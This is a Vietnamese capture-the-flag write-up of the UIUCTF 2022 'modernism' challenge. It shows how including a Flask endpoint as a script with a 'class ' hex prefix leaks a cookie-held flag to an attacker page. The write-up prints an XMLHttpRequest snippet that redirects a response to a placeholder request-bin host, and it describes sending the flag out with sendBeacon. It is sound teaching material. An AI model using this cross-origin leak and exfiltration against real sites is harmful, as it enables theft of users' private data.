# The Art of Cross-origin resource sharing (CORS) - UIUCTF 2022 ## :memo: TLDR: Trong quá trình pentest và làm report, nếu gặp các CWE liên quan đến CORS (cross-origin resource sharing) như CWE-942 thì y như rằng mình sẽ "vứt nó vào sọt rác" hoặc cùng lắm là PoC "cho có lệ": nhét header `Origin: http://attacker.com` vào request sau đó gửi đi, nếu response trả về có header `Access-Control-Allow-Origin: *` thì chụp ảnh lại cho vào report. Các trình duyệt ngày này đã có những quy định chặt chẽ về CORS khiến việc khai thác trở nên khó khăn hơn nếu không muốn nói là "impossible". Thật bất ngờ khi lại UIUCTF 2022 lại đưa CORS vào các web challenge, và sau khi giải xong những "CORS challenge" này mình cảm thấy "trời đất thật là điên rồ". Cảm ơn tác giả [@arxenix](https://twitter.com/arxenix1) đã tạo ra những web challenge cực kì độc đáo và nó khiến mình thay đổi quan niệm về CORS. ![](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/cors_principle.png) ## :rocket: modernism Đề bài: ![](https://i.imgur.com/IdYj7L6.png) [+] [Source](https://drive.google.com/drive/folders/136Nd4xj8Wm7tdf1fWqVITx3ByC8D-ITO?usp=sharing) ### 1. Initial reconnaissance: Trước hết ta check Dockerfile của challenge này. ```dockerfile FROM python:3.9-slim RUN pip3 install flask gunicorn WORKDIR /app COPY app.py ./ EXPOSE 1337 CMD mount -t tmpfs none /tmp && python3 /app/app.py ``` Cũng không có gì đặc biệt lắm, nó chỉ cho biết web app này sử dụng framework là Flask. Check tiếp file `app.py`: ```python= from flask import Flask, Response, request app = Flask(__name__) @app.route('/') def index(): prefix = bytes.fromhex(request.args.get("p", default="", type=str)) flag = request.cookies.get("FLAG", default="uiuctf{FAKEFLAG}").encode() #^uiuctf{[A-Za-z]+}$ return Response(prefix+flag, mimetype="text/plain") if __name__ == "__main__": app.run(host='0.0.0.0', port=1337, threaded=True) ``` File `app.py` cho ta biết flag được lấy ra từ một cookie có tên là `FLAG`, sau đó được in ra ở trang index của web app. ![](https://i.imgur.com/ZltXZiw.png) Nếu cookie `FLAG` không tồn tại, trang index sẽ trả về giá trị mặc định là `uiuctf{FAKEFLAG}`. Response của trang index này không chỉ có `flag` mà là `prefix+flag`. Biến `prefix` được lấy từ một url parameter là `p`. Thử `p=abc` thì gặp lỗi server: ![](https://i.imgur.com/zrezN4U.png) Lỗi server này là do `abc` là một string, không phải là một chuỗi hex. ![](https://i.imgur.com/Oh9NJaf.png) Nếu đổi lại thành một chuỗi hex như trên thì ta có được response như sau: ![](https://i.imgur.com/0dCdewA.png) Bên cạnh đó challenge này còn cung cấp một con admin bot để ta netcat vào và nhập vào một URL. Ban đầu mình tưởng rằng con bot này sẽ load nội dung của website ứng với URL nhập vào, nhưng thực tế thì: ![](https://i.imgur.com/bqr9DzI.png) Để biết tại sao nó lại timeout như vậy, ta sẽ xem source của con admin bot. Con bot này bản chất là một headless browser, được viết bằng **Playwright**, một thư viện tự động hóa web và các hành vi của người dùng web trên trình duyệt. Trình duyệt mà nó dùng để mô phỏng là Chromium, và các hành vi nó mô phỏng bao gồm bật Chromium lên (`const browser = await chromium.launch`), mở một tab mới và nhét vào tab đó 2 cookie, một dành cho domain `precisionism-web.chal.uiuc.tf` và một dành cho `precisionism-web.chal.uiuc.tf`: ```javascript= const context = await browser.newContext({ storageState: { cookies: [{ name: "FLAG", value: FLAG1, domain: "precisionism-web.chal.uiuc.tf", path: "/", httpOnly: true, secure: true, sameSite: "None" }, { name: "FLAG", value: FLAG2, domain: "modernism-web.chal.uiuc.tf", path: "/", httpOnly: true, secure: true, sameSite: "None" }] } }); ``` Cả 2 cookie này đều được đặt flag là `HTTPOnly` và `Secure`, do đó ý tưởng "XSS rồi lấy cookie" là bất khả thi. Tuy nhiên, như đã phân tích ở file `app.py` thì giá trị của cookie hay chính là flag sẽ được in ra trên trang index của website. Website được tạo ra bởi con admin bot này có cùng domain với website mà ta truy cập lúc nãy (`modernism-web.chal.uiuc.tf`), chỉ khác là của nó có flag thật còn của chúng ta thì không. Ta còn biết được con admin bot này luôn luôn "timeout" khi nhập vào bất cứ URL là vì nó chỉ điều hướng đến website được chỉ định, delay 1 khoảng 10 giây, in ra "timeout" rồi hủy socket luôn chứ không có `socket.write(<response của website được chỉ định>)`: ```javascript= const page = await context.newPage(); socket.write(`Loading page ${url}.\n`); await page.goto(url); setTimeout(() => { try { page.close(); socket.write('timeout\n'); socket.destroy(); } catch (err) { console.log(`err: ${err}`); } }, 10000); ``` Chuyển sang ý tưởng khai thác bằng [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS), ta sẽ thử dùng [codesandbox](https://codesandbox.io/) để host một "attacker domain" sử dụng XMLHttpRequest để gọi đến domain `https://modernism-web.chal.uiuc.tf/` và lấy toàn bộ response của nó (vì trong response chứa flag), sau đó gửi về một "request bin". ```javascript= <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open("get", "https://modernism-web.chal.uiuc.tf/", true); req.send(); console.log(this.responseText); function reqListener() { location = "https://<requestbin>/?res=" + this.responseText; } </script> ``` Tuy nhiên ý tưởng này thất bại bởi vì Chromium mặc định sẽ bật **mode security** lên, và trong **mode security** này có một tính năng gọi là [CORS Policy](https://www.chromium.org/Home/chromium-security/extension-content-script-fetches/#problems-with-cross-origin-requests) sẽ chặn việc sử dụng XMLHttpRequest để thực hiện các cross-origin HTTP request: ![](https://i.imgur.com/W04uZa9.png) Mặc dù vậy, CORS policy lại không áp dụng đối với các attribute **src**. Ví dụ với [attribute src của script tag](https://www.w3schools.com/tags/att_script_src.asp), ta có thể lấy một file javascript đến từ [origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) `https://modernism-web.chal.uiuc.tf` truyền vào attribute src của script tag thuộc origin X nào đó (chính là của attacker): ```htmlembedded <script src="https://modernism-web.chal.uiuc.tf/?p=<hex numbers>"></script> ``` Điều đó đồng nghĩa rằng ta sẽ coi toàn bộ trang index của web app `modernism` như một file javascript. Mà `response của trang index = prefix + flag` với `prefix = url parameter "p"` như đã phân tích ở `app.py`. Xét thấy ta chỉ có thể url parameter "p", như vậy bài toán cần giải quyết sẽ là: > Cho `flag=uiuctf{fakeflag}`, truyền vào url parameter "p" một dãy hex sao cho trang index đã cho trở thành một file javascript. ### 2. Debug and analyze: Để index trở thành một file javascript, biến `prefix` cần phải là một keyword trong javascript. Keyword đầu tiên được mình nghĩ đến là `class` vì nó dùng để tạo một class trong javascript. ##### a) Public class fields in Javascript: Trong một javascript class thì có rất nhiều thành phần như constructor, field, method,... nhưng thành phần mà ta đang tìm phải **không cần đặt keyword phía trước nhưng vẫn có thể khai báo được**. Như vậy chỉ có một [public class field](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields#public_instance_fields) là phù hợp. ![](https://i.imgur.com/KXQfKRy.png) Thử demo một class có tên là `dog` với public class field là `weight` và `height`. ![](https://i.imgur.com/qunok7h.png) Đặc biệt, ta có thể dùng hàm [getOwnPropertyNames](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) để lấy ra một list các public class field có trong class `dog`. ![](https://i.imgur.com/dWuSudF.png) ##### b) Create a Javascript class having a undefined public field with parameter "p" and fake flag given: Áp dụng những gì đã demo ở mục a, ta có `636c61737320` là đoạn hex tương ứng với string `class `. Lúc này `https://modernism-web.chal.uiuc.tf/?p=636c61737320` sẽ là một file javascript, trong đó có một class tên là `uiuctf` với 1 public class field duy nhất là `FAKEFLAG`. Có người cho rằng sau `FAKEFLAG` không có dấu `=` kèm một giá trị để khai báo public class field thì khi javascript biên dịch sẽ bị lỗi, nhưng thực tế thì: ![](https://i.imgur.com/33PBUjP.png) Public class field `FAKEFLAG` sẽ nhận giá trị mặc định là `undefined`, do đó chúng ta vẫn có thể dùng hàm **getOwnPropertyNames** và lấy ra list các field trong class `uiuctf` như ở mục a, và đây chính là nội dung của flag. ### 3. Exploit and get flag: Để khai thác thì ta cần một con VPS với "attacker domain" chứa script lấy flag. Thông qua `<script src="https://modernism-web.chal.uiuc.tf/?p=636c61737320"></script>` VPS của ta sẽ lấy `class uiuctf{<nội dung của flag>}` sau đó thực hiện các bước mà mình đã demo ở mục b phần 2 để lấy nội dung của flag. ![](https://i.imgur.com/uQbegCz.png) Tất nhiên là ta phải dùng con admin bot để truy cập vào "attacker domain" vì chỉ có web app `modernism` được chạy bên trong nó mới có flag. ![](https://i.imgur.com/G2TaE87.png) Cuối cùng là `navigator.sendBeacon(<requestbin's url>,flag)` sẽ gửi flag về request bin. ![](https://i.imgur.com/gefxsGk.png) Flag: `uiuctf{IqMDsheILiVLOcCOlllJdvjadLrmCjvFEQ}` <!-- ## :rocket: precisionism Đề bài: ![](https://i.imgur.com/AL39VcV.png) [+] [Source](https://drive.google.com/drive/folders/1i8w2EOobBvlgxyggswxZIXKOsIH66Nwo?usp=sharing) > Đọc comment trong file `bot.js`, có thể thấy challenge **precisionism** này dùng chung một con admin bot với **modernism**, cách build cũng giống đến 99,99%, do đó chúng ta sẽ bỏ qua bước **Initial reconnaissance** mà đi phân tích luôn để xem 0,01% khác nhau còn lại giữa **modernism** và **precisionism** là gì. ### 1. Analysis and debug: ##### a) Find the differences: ```python= return Response(prefix+flag+b"Enjoy your flag!", mimetype="text/plain") ``` ##### b) ICO file: [Hint from organizers](https://youtu.be/OYjxHoWDhxE?t=2128) [ICO file signature](https://en.wikipedia.org/wiki/List_of_file_signatures): ![](https://i.imgur.com/PItDbQO.png) ![](https://i.imgur.com/cggqKni.png) [Bài nghiên cứu về cấu trúc file ICO](https://devblogs.microsoft.com/oldnewthing/20101018-00/?p=12513) ![](https://i.imgur.com/2tLKZGx.png) ![](https://i.imgur.com/UmAjIzk.png) ![](https://i.imgur.com/pojlGnC.png) ![](https://i.imgur.com/1nKOxqM.png) ![](https://i.imgur.com/PjuvklE.png) ##### c) Extract ICO file by javascript: ![](https://i.imgur.com/72u4Lkf.png) ![](https://i.imgur.com/oKDmVUA.png) ### 2. Exploit and get flag: ![](https://i.imgur.com/bFYasNg.png) ![](https://i.imgur.com/t52fsam.png) Flag: `uiuctf{gr92TwKp}` -->